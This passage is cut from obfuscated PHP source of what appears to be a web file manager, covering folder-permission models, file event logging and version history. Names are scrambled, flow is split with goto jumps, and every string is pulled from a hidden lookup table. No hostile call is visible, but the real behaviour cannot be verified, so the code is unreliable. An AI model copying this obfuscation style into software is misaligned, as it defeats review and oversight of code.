$BΆ = getImageSize($Cˣ, $Cރ); if (!$BΆ) { return; } $D = array($Bݑ[1504] => $BΆ[0], $Bݑ[1506] => $BΆ[1]); return $D; } private static function pdfParse($aЎ) { return FileParsePdf::parse($aЎ); } private static function fileTypeParse() { $e޷ =& $_SERVER[ڊ]; $cIJ = self::fileTypeArray(); $eȻٗ = array(); foreach ($cIJ as $a => $F矢) { $e = _get($F矢, $e޷[157], $e޷[33]); $c箱 = is_string($e) ? explode($e޷[47], $e) : $e; if (!$c箱) { continue; } foreach ($c箱 as $e) { $e = strtolower(trim($e)); if (!$e) { continue; } $eȻٗ[$e] = $a; } $cIJ[$a][$e޷[157]] = array_keys($eȻٗ); $cIJ[$a][$e޷[1587]] = self::parseKeyMap($F矢[$e޷[1587]]); } return array($e޷[1586] => $cIJ, $e޷[1585] => $eȻٗ); } private static function parseKeyMap($Dܡ) { $f =& $_SERVER[ڊ]; foreach ($Dܡ as $F => $Eڟ) { if (is_array($Eڟ)) { $f = self::parseKeyMap($Eڟ); if ($f) { $Dܡ[$F] = $f; } continue; } $cʸ = explode($f[47], $Eڟ); $e = array(); foreach ($cʸ as $eͥ) { $eͥ = trim($eͥ); if (!$eͥ) { continue; } if (preg_match($f[1590], $eͥ, $aヿ)) { $e֞ = explode($f[268], $aヿ[1]); foreach ($e֞ as $c꧂) { $e[] = str_replace($aヿ[0], $c꧂, $eͥ); } } else { $e[] = $eͥ; } } $Dܡ[$F] = $e; } return $Dܡ; } private static function valueResetAll($B, $f) { goto bՎɈ; D: if ($C鎒) { $cȎݾ = IO_PATH_SYSTEM_TEMP . $dٕ[1596] . KodIO::hashPath($f) . $dٕ[1597]; $B[$dٕ[1598]] = Action($dٕ[1599])->pluginCacheFileSet($cȎݾ, $C鎒); unset($B[$dٕ[1600]][$dٕ[1583]]); } $f㳨ɳ = _get($B, $dٕ[1601], $dٕ[33]); $AĴƶ = _get($B, $dٕ[1602], $dٕ[33]); goto d伥҉; d伥҉: $B = _get($B, $dٕ[1603], $dٕ[33]); $E񫐫 = $f㳨ɳ . $AĴƶ . $B; if ($E񫐫 && get_charset($E񫐫) != $dٕ[323]) { $B[$dٕ[1600]][$dٕ[1316]] = iconv_to($B[$dٕ[1600]][$dٕ[1316]], get_charset($E񫐫), $dٕ[323]); $B[$dٕ[1600]][$dٕ[1604]] = iconv_to($B[$dٕ[1600]][$dٕ[1604]], get_charset($E񫐫), $dٕ[323]); $B[$dٕ[1600]][$dٕ[1605]] = iconv_to($B[$dٕ[1600]][$dٕ[1605]], get_charset($E񫐫), $dٕ[323]); } goto f轊; f轊: return $B; goto A; bՎɈ: $dٕ =& $_SERVER[ڊ]; if (isset($B[$dٕ[1591]])) { $A뤂 = ceil($B[$dٕ[1591]]); $c쌠Ϊ = intval($A뤂 / 3600); $dۡὍ = intval(($A뤂 - $c쌠Ϊ * 3600) / 60); $f拜 = $A뤂 % 60; $B[$dٕ[1592]] = sprintf($dٕ[1593], $c쌠Ϊ, $dۡὍ, $f拜); if ($c쌠Ϊ == 0) { $B[$dٕ[1592]] = sprintf($dٕ[1594], $dۡὍ, $f拜); } } $C鎒 = _get($B, $dٕ[1595]); goto D; A: } private static function valueReset($E݅, $d꡵, $E鲆) { $C腲 =& $_SERVER[ڊ]; $b۠ް = $C腲[1521]; switch ($E݅) { case $C腲[1606]: $d꡵ = $d꡵ == $C腲[83] ? $C腲[1607] : $C腲[1608]; break; case $C腲[1609]: $d꡵ = $d꡵ ? $d꡵ : null; break; default: break; } switch ($E鲆) { case $C腲[1610]: $d꡵ = round($d꡵, 2); break; case $C腲[184]: case $C腲[107]: if ($d꡵ < 0) { $d꡵ = null; } else { if (is_numeric($d꡵)) { $d꡵ = date($b۠ް, $d꡵); } } break; default: break; } return $d꡵; } private static function fileTypeArray() { $cŋ =& $_SERVER[ڊ]; return array($cŋ[1583] => array($cŋ[157] => $cŋ[1611] . $cŋ[1612], $cŋ[1587] => array($cŋ[1504] => $cŋ[1613], $cŋ[1506] => $cŋ[1614], $cŋ[1615] => $cŋ[1616], $cŋ[1617] => $cŋ[1618], $cŋ[184] => $cŋ[1619], $cŋ[107] => $cŋ[1620], $cŋ[1621] => $cŋ[1622], $cŋ[1623] => $cŋ[1624], $cŋ[1625] => $cŋ[1626], $cŋ[1627] => $cŋ[1628], $cŋ[1629] => $cŋ[1630], $cŋ[1631] => $cŋ[1632], $cŋ[1633] => $cŋ[1634], $cŋ[1635] => array($cŋ[1636] => $cŋ[1637], $cŋ[1638] => $cŋ[1639], $cŋ[1640] => $cŋ[1641]), $cŋ[1642] => $cŋ[1643], $cŋ[1644] => $cŋ[1645], $cŋ[1646] => $cŋ[1647], $cŋ[1648] => $cŋ[1649], $cŋ[1650] => array($cŋ[1651] => $cŋ[1652], $cŋ[1653] => $cŋ[1654], $cŋ[1655] => $cŋ[1656], $cŋ[1657] => $cŋ[1658], $cŋ[1659] => $cŋ[1660], $cŋ[1661] => $cŋ[1662], $cŋ[1663] => $cŋ[1664], $cŋ[1665] => $cŋ[1666], $cŋ[1667] => $cŋ[1668], $cŋ[1669] => $cŋ[1670], $cŋ[1671] => $cŋ[1672]))), $cŋ[1673] => array($cŋ[157] => $cŋ[1674] . $cŋ[1675], $cŋ[1587] => array($cŋ[1591] => $cŋ[1676], $cŋ[184] => $cŋ[1677], $cŋ[107] => $cŋ[1678], $cŋ[1623] => $cŋ[1679], $cŋ[1680] => $cŋ[1681], $cŋ[1682] => $cŋ[1609], $cŋ[1683] => $cŋ[1684], $cŋ[1685] => $cŋ[1686], $cŋ[1687] => $cŋ[1688], $cŋ[1600] => array($cŋ[1316] => $cŋ[1689], $cŋ[1604] => $cŋ[1690], $cŋ[1605] => $cŋ[1691], $cŋ[1692] => $cŋ[1693], $cŋ[1694] => $cŋ[1695], $cŋ[1696] => $cŋ[1697], $cŋ[1583] => $cŋ[1698]))), $cŋ[1699] => array($cŋ[157] => $cŋ[1700] . $cŋ[1701], $cŋ[1587] => array($cŋ[1504] => $cŋ[1702], $cŋ[1506] => $cŋ[1703], $cŋ[1591] => $cŋ[1676], $cŋ[184] => $cŋ[1704], $cŋ[107] => $cŋ[1705], $cŋ[1610] => $cŋ[1706], $cŋ[1687] => $cŋ[1707], $cŋ[1683] => $cŋ[1708], $cŋ[1623] => $cŋ[1709], $cŋ[1673] => array($cŋ[1682] => $cŋ[1609], $cŋ[1710] => $cŋ[1711], $cŋ[1680] => $cŋ[1681], $cŋ[1687] => $cŋ[1688], $cŋ[1683] => $cŋ[1712], $cŋ[1685] => $cŋ[1686]))), $cŋ[1713] => array($cŋ[1587] => array($cŋ[1714] => $cŋ[1715], $cŋ[1716] => $cŋ[1717])), $cŋ[1718] => array($cŋ[1587] => array())); } } goto bۓ; b: class SourceAuthModel extends ModelBase { protected $tableName = "\x69\x6f\137\163\x6f\x75\162\143\145\x5f\x61\x75\164\150"; public function getAuth($d׽캈) { goto A; A: $Bݤ̤ =& $_SERVER[ڊ]; $b츢 = $Bݤ̤[2218]; $C풶 = array($Bݤ̤[366] => $d׽캈); goto EՒ; EՒ: $f޺ = $this->field($b츢)->order($Bݤ̤[364])->where($C풶)->select(); $Dモܬ = array(); foreach ($f޺ as $c) { if (Model($Bݤ̤[2219])->listData($c[$Bݤ̤[2200]])) { $Dモܬ[] = $c; } } goto Fٮ; Fٮ: return $Dモܬ; goto bڍ; bڍ: } public function setAuth($Fٗ, $aΛ) { goto CƆ庇; CƆ庇: $a䑢 =& $_SERVER[ڊ]; $d߳ = Model($a䑢[1102])->sourceInfo($Fٗ); if ($d߳[$a䑢[368]] != SourceModel::TYPE_GROUP) { return !1; } goto aҮ; aҮ: $eˇՅ = 1; $dʋ = $d߳[$a䑢[452]]; if ($dʋ != $eˇՅ) { $B䖄 = array($a䑢[2072] => $dʋ); $aͤ = Model($a䑢[2146])->field($a䑢[1409])->where($B䖄)->select(); $aͤ = array_to_keyvalue($aͤ, $a䑢[33], $a䑢[1409]); } goto D; D: $b = array(SourceModel::TYPE_GROUP, SourceModel::TYPE_USER); $B߈ = array(); foreach ($aΛ as $EԄ) { if (!in_array($EԄ[$a䑢[368]], $b)) { show_json(LNG($a䑢[2220]), !1); } if ($dʋ != $eˇՅ) { if ($EԄ[$a䑢[368]] == SourceModel::TYPE_GROUP) { } if ($EԄ[$a䑢[452]] != 0 && !in_array($EԄ[$a䑢[452]], $aͤ)) { } } if ($EԄ[$a䑢[452]] == 0) { $EԄ[$a䑢[368]] = SourceModel::TYPE_USER; } $B߈[] = array($a䑢[366] => $Fٗ, $a䑢[368] => intval($EԄ[$a䑢[368]]), $a䑢[452] => intval($EԄ[$a䑢[452]]), $a䑢[2200] => intval($EԄ[$a䑢[2200]]) ? intval($EԄ[$a䑢[2200]]) : 0, $a䑢[2201] => intval($EԄ[$a䑢[2201]]) ? intval($EԄ[$a䑢[2201]]) : -1); } goto A֚; A֚: $this->where(array($a䑢[380] => $Fٗ))->delete(); $this->addAll($B߈); return !0; goto a狰; a狰: } public function authClear($b݇ų) { $aڽ =& $_SERVER[ڊ]; $Fƍϭ = Model($aڽ[1102])->sourceInfo($b݇ų); $e鲣 = array($b݇ų); if ($Fƍϭ[$aڽ[367]] == $aڽ[83]) { $Eɩ = array($aڽ[521] => array($aڽ[479], $Fƍϭ[$aڽ[455]] . $b݇ų . $aڽ[480])); $e鲣 = Model($aڽ[1102])->field($aڽ[380])->where($Eɩ)->getField($aڽ[366], !0); $e鲣[] = $b݇ų; } $this->where(array($aڽ[380] => array($aڽ[381], $e鲣)))->delete(); return !0; } public function get($F) { $cǟ = $this->getSourceList(array($F), !0); return $cǟ[0]; } public function getSourceList($F۠, $B = false) { goto fɘΊ; bㄑ: if (!$B) { $F = array($cً[380] => array($cً[381], $F۠)); $B = $cⱓ->field($cً[2221])->where($F)->select(); $B = array_to_keyvalue($B, $cً[366]); } $a΄ = $F۠; foreach ($B as $c݉· => $b赔) { $CӾ = $cⱓ->parentLevelArray($b赔[$cً[455]]); $a΄ = array_merge($a΄, $CӾ, array($c݉·)); } goto Eō׮; Eō׮: $a΄ = array_values(array_unique($a΄)); if (!$a΄) { return array(); } $DŲ = $cً[2222]; goto c㴲; fɘΊ: $cً =& $_SERVER[ڊ]; if (!$F۠) { return array(); } $cⱓ = Model($cً[1102]); goto bㄑ; CǞ: $A = array(); foreach ($B as $f => $a͢) { $A[$f] = $this->makeSourceAuth($a͢, $BұDz); } return $A; goto d; c㴲: $F = array($cً[380] => array($cً[381], $a΄)); $BұDz = $this->field($DŲ)->where($F)->select(); $BұDz = array_to_keyvalue_group($BұDz, $cً[366]); goto CǞ; d: } public function authDeepCheck($A, $e᭦ = false) { $c璽 =& $_SERVER[ڊ]; if (_get($GLOBALS, $c璽[453])) { return !1; } $b = $this->makeAuthDeep(); if (!in_array($A, $b)) { return !1; } return array($c璽[374] => -1, $c璽[414] => array($c璽[382] => $c璽[1023], $c璽[2078] => $c璽[464], $c璽[383] => LNG($c璽[2223]), $c璽[2090] => $c璽[2224])); } protected function makeAuthDeep() { goto B֞; B֞: $eî =& $_SERVER[ڊ]; static $dՂ = false; if ($dՂ) { return $dՂ; } goto cύ; f׋: $bʓ = array_values(array_unique($bʓ)); foreach ($bʓ as $FɠǕ) { $d = $Aɉ->getInfo($FɠǕ); $dՂ[] = $d[$eî[388]][$eî[366]]; } $dՂ = array_values(array_unique($dՂ)); goto fՐ; A: $dϢ = Model($eî[1102]); $Aɉ = Model($eî[454]); if ($B°ʾ) { $Aކ = $dϢ->where(array($eî[366] => array($eî[381], $B°ʾ)))->select(); foreach ($Aކ as $d٬) { $a񉻻 = $dϢ->parentLevelArray($d٬[$eî[455]]); $dՂ = array_merge($dՂ, $a񉻻); $bʓ[] = $d٬[$eî[452]]; } } goto Dø; c: $a = Session::get($eî[2184]); $a = array_to_keyvalue($a, $eî[33], $eî[2072]); $F̰ѯ = array($eî[368] => SourceModel::TYPE_USER, $eî[452] => USER_ID); goto Fˑ; b섦: $B°ʾ = array_to_keyvalue($cě, $eî[33], $eî[366]); $dՂ = array(); $bʓ = $a; goto A; Dø: $bʓ = array_values(array_unique($bʓ)); $A빮 = $bʓ; foreach ($A빮 as $FɠǕ) { $d = $Aɉ->getInfo($FɠǕ); $a񉻻 = $dϢ->parentLevelArray($d[$eî[455]]); $bʓ = array_merge($bʓ, $a񉻻); } goto f׋; fՐ: return $dՂ; goto E; cύ: $cꝍ֣ = Model($eî[2225])->listData(); $CɆ݊ = array(); foreach ($cꝍ֣ as $e) { if ($e[$eî[373]] == 0 && $e[$eî[2092]] == $eî[83]) { $CɆ݊[] = $e[$eî[364]]; } } goto c; Fˑ: if ($a) { $F̰ѯ = array(array($eî[368] => SourceModel::TYPE_USER, $eî[452] => USER_ID), array($eî[368] => SourceModel::TYPE_GROUP, $eî[452] => array($eî[381], $a)), $eî[908] => $eî[2152]); } if ($CɆ݊) { $F̰ѯ = array($F̰ѯ, $eî[2200] => array($eî[2226], $CɆ݊)); } $cě = $this->field($eî[2227])->where($F̰ѯ)->select(); goto b섦; E: } private function makeSourceAuth($E´, $E) { goto aև; aև: $a =& $_SERVER[ڊ]; $E = Session::get($a[2184]); $c = Model($a[1102])->parentLevelArray($E´[$a[455]]); goto Fٸ; Fٸ: $c = array_merge(array($E´[$a[366]]), array_reverse($c)); $bۡɬ = !1; foreach ($c as $a) { if (!isset($E[$a])) { continue; } $enj셚 = $this->authMake($E[$a]); if ($enj셚[$a[414]]) { $bۡɬ = $enj셚; break; } } goto E; E: if (!$bۡɬ) { $E = array_to_keyvalue($E, $a[2072]); $F۪ = $E´[$a[452]]; $Fԋ = isset($E[$F۪]) ? $E[$F۪] : !1; if ($Fԋ) { $bۡɬ = array($a[2228] => intval($Fԋ[$a[373]][$a[373]]), $a[2229] => $Fԋ[$a[373]]); } } if ((!$bۡɬ || $bۡɬ[$a[374]] <= 0) && $E´[$a[368]] == SourceModel::TYPE_GROUP) { $EĿ = $this->authDeepCheck($E´[$a[366]], $bۡɬ); if ($EĿ) { $bۡɬ = $EĿ; } } return $bۡɬ; goto fϒΟ; fϒΟ: } public function authOwnerApply($Cސ) { goto b񜏴; b嵓: if (count($F) == 0) { $F = $this->authFolderOwnerGroup($Cސ[$bԓ[452]]); } $F = array_unique($F); if (AuthModel::authCheckRoot($Cސ[$bԓ[373]][$bԓ[374]])) { $F[] = USER_ID; } goto f; Aع: $fȻ = Model($bԓ[1102])->parentLevelArray($Cސ[$bԓ[455]]); $fȻ = array_merge(array($Cސ[$bԓ[366]]), array_reverse($fȻ)); $F = $bԓ[2222]; goto F; b뉢: $BՉä = array(); $F = array(); foreach ($DȚ as $F۫ => $f) { $A = $this->authFolderOwnerUser($f); $BՉä[$F۫] = $A; $F = array_merge($F, $A[$bԓ[531]]); if ($A[$bԓ[2231]]) { break; } } goto b嵓; F: $A凍 = array($bԓ[380] => array($bԓ[381], $fȻ)); $DȚ = $this->field($F)->where($A凍)->select(); $DȚ = array_to_keyvalue_group($DȚ, $bԓ[366]); goto b뉢; b񜏴: $bԓ =& $_SERVER[ڊ]; if (empty($Cސ[$bԓ[373]]) || isset($Cސ[$bԓ[2230]]) && $Cސ[$bԓ[2230]]) { return $Cސ; } if (AuthModel::authCheckRoot($Cސ[$bԓ[373]][$bԓ[374]])) { return $Cސ; } goto Aع; f: $Cސ[$bԓ[373]][$bԓ[2232]] = Model($bԓ[470])->userListInfo($F); return $Cސ; goto cڂ; cڂ: } private function authFolderOwnerGroup($A) { $Eٞ鉗 =& $_SERVER[ڊ]; $B免 = Model($Eٞ鉗[2146])->where(array($Eٞ鉗[2072] => $A))->select(); $Fĝ = array(); if (!$B免) { return $Fĝ; } foreach ($B免 as $Aک) { $dߔ = $this->authInfo($Aک); if (AuthModel::authCheckRoot($dߔ[$Eٞ鉗[373]])) { $Fĝ[] = $Aک[$Eٞ鉗[1409]]; } } return $Fĝ; } private function authFolderOwnerUser($c) { $cЪ =& $_SERVER[ڊ]; $B = array(); $b = !1; foreach ($c as $cȒ) { $Bù = $this->authInfo($cȒ); if ($cȒ[$cЪ[452]] == $cЪ[464]) { $b = !0; } if ($cȒ[$cЪ[368]] == SourceModel::TYPE_USER) { if (AuthModel::authCheckRoot($Bù[$cЪ[373]])) { $B[] = $cȒ[$cЪ[452]]; } } } return array($cЪ[531] => $B, $cЪ[2231] => $b); } public function authMake($f) { goto Cҕ; FŶ޿: $B挸 = $F粤 ? $e : ($EĴ ? $Aڤ : $aյ˪); $B٢ٍ = array($eɂ[2228] => intval($F), $eɂ[2229] => $B挸); return $B٢ٍ; goto Fڃч; c: $bǠƹ = 0; $e = 0; $Aڤ = 0; goto C; Fâ: $f֪ = array_to_keyvalue($B, $eɂ[33], $eɂ[2072]); $CͶԒ = 0; $e = 0; goto c; Cҕ: $eɂ =& $_SERVER[ڊ]; if (!$f) { return array($eɂ[374] => 0, $eɂ[414] => !1); } $B = Session::get($eɂ[2184]); goto Fâ; b̈: $C = 0; foreach ($f as $bќ؎) { $B挸 = $this->authInfo($bќ؎); $cٍͧ = $bќ؎[$eɂ[452]]; $d = intval($B挸[$eɂ[373]]); if ($bќ؎[$eɂ[368]] == SourceModel::TYPE_USER && $cٍͧ == USER_ID) { $F粤 = !0; $e = $B挸; $CͶԒ = $d; } else { if ($bќ؎[$eɂ[368]] == SourceModel::TYPE_GROUP && in_array($cٍͧ, $f֪)) { $EĴ = !0; if ($d >= $e) { $e = $d; $Aڤ = $B挸; } } else { if ($cٍͧ == $eɂ[464]) { $C = !0; $aյ˪ = $B挸; $bǠƹ = $d; } } } } $F = $F粤 ? $CͶԒ : ($EĴ ? $e : $bǠƹ); goto FŶ޿; C: $aյ˪ = 0; $F粤 = 0; $EĴ = 0; goto b̈; Fڃч: } public function authTargetInfoMake($eӨȣ) { goto b𥵸; b𥵸: $b݊ =& $_SERVER[ڊ]; $F = array(); $b؄ދË = array(); goto C; dϡ: return array($b݊[2233] => $F, $b݊[2234] => $b؄ދË); goto aƓ; C: foreach ($eӨȣ as $fت) { if ($fت[$b݊[368]] == SourceModel::TYPE_USER) { $F[] = intval($fت[$b݊[452]]); } else { if ($fت[$b݊[368]] == SourceModel::TYPE_GROUP) { $b؄ދË[] = intval($fت[$b݊[452]]); } } } if ($F) { $F = Model($b݊[470])->userListInfo($F); } if ($b؄ދË) { $Aƨ = array($b݊[2144] => array($b݊[381], $b؄ދË)); $b؄ދË = Model($b݊[454])->field($b݊[2157])->where($Aƨ)->select(); $b؄ދË = array_to_keyvalue($b؄ދË, $b݊[2072]); } goto dϡ; aƓ: } private function authInfo($fŢǛ) { $F =& $_SERVER[ڊ]; if ($fŢǛ[$F[2200]]) { $c枪 = Model($F[2219])->listData($fŢǛ[$F[2200]]); if (!$c枪) { return !1; $c = Model($F[2219])->listData(); $a팄 = array_filter_by_field($c, $F[373], $F[464]); return $a팄; } $a = array_field_key($c枪, array($F[364], $F[28], $F[373], $F[2090], $F[2093])); $a[$F[2235]] = $fŢǛ; return $a; } else { return array($F[382] => 0, $F[2078] => $fŢǛ[$F[2201]], $F[383] => $F[33], $F[2090] => $F[2236]); } } } class SourceEventModel extends ModelBase { protected $tableName = "\151\x6f\x5f\x73\x6f\165\x72\143\145\x5f\x65\x76\145\x6e\x74"; protected $dataAuto = array(array("\143\x72\x65\x61\x74\x65\124\151\x6d\145", "\x74\x69\x6d\145", "\x69\156\163\x65\162\164", "\146\165\156\143\x74\151\x6f\x6e"), array("\144\x65\x73\143", '', "\151\156\163\145\x72\164\x2c\x75\160\x64\x61\x74\x65\x2c\x73\x65\x6c\x65\143\x74", "\x6a\163\x6f\x6e")); protected $eventSave = true; public function recodeStop() { $this->eventSave = !1; } public function recodeStart() { $this->eventSave = !0; } public function addEvent($cȇ, $Ḟ, $Aئ = '') { goto c; eϧ: if (!$B칎) { return !1; } if ($this->isCacheEvent($B칎, $Ḟ)) { return; } if ($Aئ && is_string($Aئ)) { $Aئ = array($fڏ߾[2102] => $Aئ); } goto b󪈄; c: $fڏ߾ =& $_SERVER[ڊ]; if (!$this->eventSave) { return; } $B칎 = Model($fڏ߾[1102])->sourceInfo($cȇ); goto eϧ; b󪈄: $F = array($fڏ߾[380] => $cȇ, $fڏ߾[2237] => $B칎[$fڏ߾[457]], $fڏ߾[2238] => $B칎[$fڏ߾[28]], $fڏ߾[462] => $B칎[$fڏ߾[462]], $fڏ߾[1400] => USER_ID, $fڏ߾[385] => $Ḟ, $fڏ߾[1402] => $Aئ); $this->addSystemLog($Ḟ, $F); return $this->add($F); goto Aތˋ; Aތˋ: } private function addSystemLog($dĒ, $Bߌԟ) { $eNj =& $_SERVER[ڊ]; if ($dĒ == $eNj[2239]) { $dĒ = $Bߌԟ[$eNj[401]][$eNj[2240]]; } else { if (in_array($dĒ, array($eNj[2049], $eNj[2241]))) { $dĒ = $Bߌԟ[$eNj[401]][$eNj[687]]; } } $d㙂 = array_merge($Bߌԟ, array($eNj[2242] => $Bߌԟ[$eNj[366]], $eNj[2243] => $Bߌԟ[$eNj[2243]])); Model($eNj[2013])->addLog($eNj[2244] . $dĒ, $d㙂); } private function isCacheEvent($D, $A󝠃) { if ($D[$_SERVER[ڊ][368]] == SourceModel::TYPE_SYSTEM) { return !0; } return !1; } public function eventCreate($edž, $f˺) { $dĖ߅ =& $_SERVER[ڊ]; $eə = Model($dĖ߅[1102])->sourceInfo($edž); $Aψ = array($dĖ߅[2240] => $f˺, $dĖ߅[28] => $eə[$dĖ߅[28]]); return $this->addEvent($edž, $dĖ߅[2239], $Aψ); } public function eventFileEdit($aჯ) { $c =& $_SERVER[ڊ]; $b䇆 = array($c[2245] => $_SERVER[$c[2246]], $c[1719] => strtolower(ACTION)); return $this->addEvent($aჯ, $c[2040], $b䇆); } public function eventRecycle($Aމ, $B) { return $this->addEvent($Aމ, $_SERVER[ڊ][2241], $B); } public function eventRemove($a) { $dڙ =& $_SERVER[ڊ]; $e = Model($dڙ[1102])->sourceInfo($a); $Eȍ = $e[$dڙ[28]]; return $this->addEvent($e[$dڙ[457]], $dڙ[2039], $Eȍ); } public function eventShare($f, $bך) { return $this->addEvent($f, $_SERVER[ڊ][2049], $bך); } public function eventMove($E٫蔐, $cӳ, $a) { goto aĺ΍; f: $this->addEvent($E٫蔐, $Bɰ[488], $d赾); $a = $d݊->sourceInfo($E٫蔐); $d赾 = array($Bɰ[366] => $a[$Bɰ[366]], $Bɰ[28] => $a[$Bɰ[28]]); goto eϊ; eϊ: $this->addEvent($cӳ, $Bɰ[2251], $d赾); goto bջ볼ۚ; d꒼: $A = $d݊->sourceInfo($cӳ); $b = $d݊->sourceInfo($a); $d赾 = array($Bɰ[998] => $cӳ, $Bɰ[2247] => $A[$Bɰ[28]], $Bɰ[2248] => $A[$Bɰ[462]], $Bɰ[999] => $a, $Bɰ[2249] => $b[$Bɰ[28]], $Bɰ[2250] => $b[$Bɰ[462]]); goto f; aĺ΍: $Bɰ =& $_SERVER[ڊ]; $d݊ = Model($Bɰ[1102]); $a = $d݊->sourceInfo($E٫蔐); goto d꒼; bջ볼ۚ: } public function eventCopy($B) { $this->eventCreate($B, $_SERVER[ڊ][486]); } public function eventRename($d, $CͶ, $bϐɔ) { $dआ =& $_SERVER[ڊ]; $e = array($dआ[998] => $CͶ, $dआ[999] => $bϐɔ); return $this->addEvent($d, $dआ[1114], $e); } public function eventAddComment($e쌖, $D) { return $this->addEvent($e쌖, $_SERVER[ڊ][2252], $D); } public function eventAddDesc($cƥ߼, $F٢大) { return $this->addEvent($cƥ߼, $_SERVER[ڊ][2253], $F٢大); } public function listBySource($fЙ) { goto DԣҾ; DԣҾ: $C =& $_SERVER[ڊ]; $a = Model($C[1102])->sourceInfo($fЙ); $dĕއ = array($C[380] => $fЙ); goto AҔ; AҔ: if ($a[$C[367]] == $C[83]) { $dߎ = Model($C[1102])->listSearchChildren($fЙ, 20000); $dߎ[] = $fЙ . $C[358]; $dĕއ = array($C[366] => array($C[7], $dߎ)); } $fϖ܋ = $this->where($dĕއ)->order($C[2254])->selectPage(); if ($fϖ܋[$C[348]][$C[349]] == 0) { $fϖ܋[$C[348]][$C[349]] = 1; $fϖ܋[$C[351]] = array(array($C[380] => $fЙ, $C[2237] => $a[$C[457]], $C[1400] => $a[$C[375]], $C[385] => $C[2255], $C[386] => $a[$C[184]], $C[1402] => $C[33])); } goto Cږ; Cږ: $fϖ܋ = $this->eventListParse($fϖ܋, $fЙ); show_json($fϖ܋); goto fǚ; fǚ: } private function eventListParse($E̼, $Cֺ) { goto BŜÔ; E唥: $dߘ = array_to_keyvalue($bΓɴ, $c[33], $c[2243]); foreach ($bΓɴ as $aÒ) { $f = $aÒ[$c[401]]; if ($aÒ[$c[29]] == $c[488] && isset($f[$c[998]])) { $DՠÅ[] = $f[$c[998]] . $c[33]; $DՠÅ[] = $f[$c[999]] . $c[33]; } if ($aÒ[$c[29]] == $c[2251] && isset($f[$c[366]])) { $DՠÅ[] = $f[$c[366]] . $c[33]; } } $DՠÅ = array_merge($DՠÅ, $dߘ, array($Cֺ . $c[33])); goto b成Č; b成Č: $DՠÅ = array_unique($DՠÅ); $b = array_unique(array_to_keyvalue($bΓɴ, $c[33], $c[1409])); $FφӋ = Model($c[473])->userListInfo($b); goto BؒǑ; BؒǑ: $E = Model($c[747])->sourceListInfo($DՠÅ, !0); foreach ($bΓɴ as &$aÒ) { if ($aÒ[$c[29]] == $c[488] && isset($aÒ[$c[401]][$c[998]])) { $aÒ[$c[401]][$c[998]] = $E[$aÒ[$c[401]][$c[998]]]; $aÒ[$c[401]][$c[999]] = $E[$aÒ[$c[401]][$c[999]]]; } if ($aÒ[$c[29]] == $c[2251] && isset($aÒ[$c[401]][$c[366]])) { $aÒ[$c[401]][$c[366]] = $E[$aÒ[$c[401]][$c[366]]]; } $aÒ[$c[388]] = $E[$aÒ[$c[366]]]; $aÒ[$c[2256]] = $E[$aÒ[$c[2243]]]; if ($aÒ[$c[29]] == $c[2039]) { $aÒ[$c[2256]] = $aÒ[$c[388]]; $aÒ[$c[2243]] = $aÒ[$c[2256]][$c[366]]; $aÒ[$c[388]] = !1; $aÒ[$c[366]] = $c[33]; } $aÒ[$c[2209]] = $FφӋ[$aÒ[$c[1409]]]; } $E̼[$c[351]] = $bΓɴ; goto E; BŜÔ: $c =& $_SERVER[ڊ]; $bΓɴ = $E̼[$c[351]]; $DՠÅ = array_to_keyvalue($bΓɴ, $c[33], $c[366]); goto E唥; E: return $E̼; goto Bۺ; Bۺ: } public function removeBySource($e) { $Bݐ = array($_SERVER[ڊ][380] => $e); $this->where($Bݐ)->remove(); } } class SourceHistoryModel extends ModelBase { protected $tableName = "\x69\x6f\x5f\x73\x6f\x75\x72\143\x65\x5f\150\x69\163\x74\x6f\x72\x79"; public function addHistory($a̎, $Bϻ̐ = '') { $c =& $_SERVER[ڊ]; $c = array($c[380] => $a̎[$c[366]], $c[1400] => isset($a̎[$c[376]]) ? $a̎[$c[376]] : $a̎[$c[375]], $c[416] => $a̎[$c[415]], $c[516] => $a̎[$c[77]], $c[2257] => $Bϻ̐); $A۰ = $GLOBALS[$c[6]][$c[84]][$c[2258]]; if ($A۰ > 1) { $this->historyAutoClear($c[$c[366]]); $this->add($c); } Model($c[2259])->eventFileEdit($a̎[$c[366]]); } private function historyAutoClear($E) { goto Fٯ; D: $c = array_to_keyvalue($dդ, $cċ萔[33], $cċ萔[415]); $c = array_slice($c, $a); if (!$A̡ || !$c) { return; } goto c; c: $bوë = array($cċ萔[382] => array($cċ萔[7], $A̡)); $this->where($bوë)->delete(); Model($cċ萔[418])->remove($c); goto Fƍ; Fٯ: $cċ萔 =& $_SERVER[ڊ]; $Eͳ = Model($cċ萔[1080])->get($cċ萔[2260]); $f = $GLOBALS[$cċ萔[6]][$cċ萔[84]][$cċ萔[2258]]; goto EČ; b: if ($a >= 500) { return; } $bوë = array($cċ萔[380] => $E); $dդ = $this->field($cċ萔[2262])->where($bوë)->order($cċ萔[2254])->select(); goto dШ; EČ: $Fۃ = $Eͳ == $cċ萔[2261] ? 3 : $f; if ($f <= 1) { $Fۃ = 1; } $a = $Fۃ - 1; goto b; dШ: if (!$dդ || $a >= count($dդ)) { return; } $A̡ = array_to_keyvalue($dդ, $cċ萔[33], $cċ萔[364]); $A̡ = array_slice($A̡, $a); goto D; Fƍ: } public function listData($e) { goto Bٌ; BӠ趮: $DҬ = $this->field($F͒)->where($F䊤甘)->order($Fڄ[2254])->selectPage(); $this->_listAppendUser($DҬ[$Fڄ[351]]); $D = Model($Fڄ[1080])->get($Fڄ[2260]); goto Aڐ; Bٌ: $Fڄ =& $_SERVER[ڊ]; $F䊤甘 = array($Fڄ[380] => $e); $F͒ = $Fڄ[2263]; goto BӠ趮; Aڐ: $f = 3; if ($D == $Fڄ[2261]) { $DҬ[$Fڄ[351]] = array_slice($DҬ[$Fڄ[351]], 0, $f); $DҬ[$Fڄ[348]] = array($Fڄ[2264] => 1, $Fڄ[2265] => 20, $Fڄ[2266] => 1, $Fڄ[2267] => count($DҬ[$Fڄ[351]])); } return $DҬ; goto Cߋ; Cߋ: } protected function _listAppendUser(&$D֑ƥ) { $cȦ =& $_SERVER[ڊ]; $c̆ = array_to_keyvalue($D֑ƥ, $cȦ[33], $cȦ[1409]); $Fŕ = Model($cȦ[473])->userListInfo($c̆); foreach ($D֑ƥ as &$cޡ˻) { $a߯ = $cޡ˻[$cȦ[1409]]; $cޡ˻[$cȦ[375]] = $Fŕ[$a߯] ? $Fŕ[$a߯] : !1; } } public function fileInfo($E쎒) { $e׮ =& $_SERVER[ڊ]; $f߱ɖ = $this->tablePrefix; $b = 